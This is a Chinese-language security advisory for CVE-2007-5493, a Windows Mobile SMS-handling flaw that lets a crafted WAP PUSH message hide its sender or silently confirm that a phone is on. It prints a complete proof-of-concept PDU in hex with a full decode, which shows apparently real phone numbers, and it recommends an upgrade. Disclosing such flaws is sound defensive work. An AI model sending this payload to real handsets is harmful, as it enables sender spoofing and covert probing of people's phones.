CVE:CVE-2007-5493
CNNVD:CNNVD-200710-355
Windows Mobile是微软开发的用于手机的操作系统。
Windows Mobile的短信处理器中存在安全漏洞，如果发送了特制的WAP PUSH消息的话，就可能在接收者的手机上隐藏原始短信的发送者。
原始PDU如[1]所示，以下PDU会导致Pocket PC电话版本的SMS处理器错误的解码PDU，这样发送者的手机号码和发送时间都是错误的。
 [1] PDU(自动换行)
  079144775810065051220C914477619269060004A7600605040B8423F025060803AE81EA
  AF82B48401056A0045C6070D0373796D616E7465630085010353796D616E7465630D0D62
  756C6B534D532028556E726567697374657265642056657229202D204C6F6769784D6F62
  696C652E636F6D000101
PDU的解码请见[2]。当SmartPhone接收到这条消息的时候，就会未经交互便将其丢弃，这也允许攻击者未经短信接收者确认便可以判断对方手机是否打开。
  [2] PDU解码
  PDU LENGTH IS 118 BYTES
  ADDRESS OF DELIVERING SMSC
    NUMBER IS : +447785016005
    TYPE OF NR. : International
    NPI : ISDN/Telephone (E.164/163)
  MESSAGE HEADER FLAGS
    MESSAGE TYPE : SMS SUBMIT
    REJECT DUPLICATES : NO
    VALIDITY PERIOD : RELATIVE
    REPLY PATH : NO
    USER DATA HEADER : PRESENT
    REQ. STATUS REPORT : NO
    MSG REFERENCE NR. : 34 (0x22)
  DESTINATION ADDRESS
    NUMBER IS : +447716299660
  TYPE OF NR. : International
    NPI : ISDN/Telephone (E.164/163)
  PROTOCOL IDENTIFIER (0x00)
    MESSAGE ENTITIES : SME-to-SME
    PROTOCOL USED : Implicit / SC-specific
   DATA CODING SCHEME (0x04)
    AUTO-DELETION : OFF
    COMPRESSION : OFF
    MESSAGE CLASS : NONE
    ALPHABET USED : 8bit data
   VALIDITY OF MESSAGE : 24.0 hrs
   USER DATA PART OF SM
    USER DATA LENGTH : 96 octets
    UDH LENGTH : 6 octets
    UDH : 05 04 0B 84 23 F0
    UDH ELEMENTS : 05 - Appl. port addressing 16bit
       4 (0x04) Bytes Information Element
         09200 : SOURCE port is: allocated by IANA
        02948 : DESTINATION port is: allocated by IANA
     --- DATA ----------------------
       05 04 0B 84 23 F0
       USER DATA (TEXT) : %&reg;&#129;ê&macr;&#8218;&acute;&#8222;jE&AElig;
     symantec…Symantec
       bulkSMS (Unregistered Ver) -
       LogixMobile.com
solution:Upgrade microsoft windows_mobile to a higher version than 2005,and avoid the version 2005